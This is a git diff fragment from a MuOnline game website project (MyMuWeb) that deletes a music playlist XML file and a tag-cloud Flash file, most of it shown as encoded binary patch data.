z_Pc3q4VfPy%PLO4YjOs1Oy|xj2J2S;otP9u&^bg&_4_hi5Sds6;_ViM=A%qlr<2fjZVD3svbEDXE6$4ug8NEkWwkG{u}i{ccr@Nf<6S zsY!FDCS74p5uc8&XA9&ET(d{K7i3#iyL)59_#hqGn=Z^lK#YvEl*AcwW(Q|PXBiJa zE0sY~DAHo$66O81K`%(dk?K>%c>98l+ypvPWBmM}V4Ns@`C|OAS2oGn)&^kC#+%^*9;|1-C6Ul8|G2VE38v$Yr3-?z+c#c_J}4O1JAD12ZTzRi2?pBP$V@0jDJOPf$RA fo;)`m&hg2!v=r(eMo#(-*bJmaB;@;F{TL%ooP4e$ diff --git a/media/playlist.xml b/media/playlist.xml deleted file mode 100644 index d966d3d..0000000 --- a/media/playlist.xml +++ /dev/null @@ -1,27 +0,0 @@ - - - MuOnline MMORPG Music by Vaflan - MyMuWeb By Vaflan - http://mmw.clan.su - - - - - media/Main.mp3 - 1. Main.mp3 - MyMuWeb - MuOnline MMORPG Music by Vaflan - media/?f=Main.mp3 - - - - media/Main.mp3 - 1. Main.mp3 - MyMuWeb - MuOnline MMORPG Music by Vaflan - media/?f=Main.mp3 - - - - - \ No newline at end of file diff --git a/media/tagcloud.swf b/media/tagcloud.swf deleted file mode 100644 index d8d6c5c6cdcb420af12b55b5284b60c5a399a186..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 38680 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 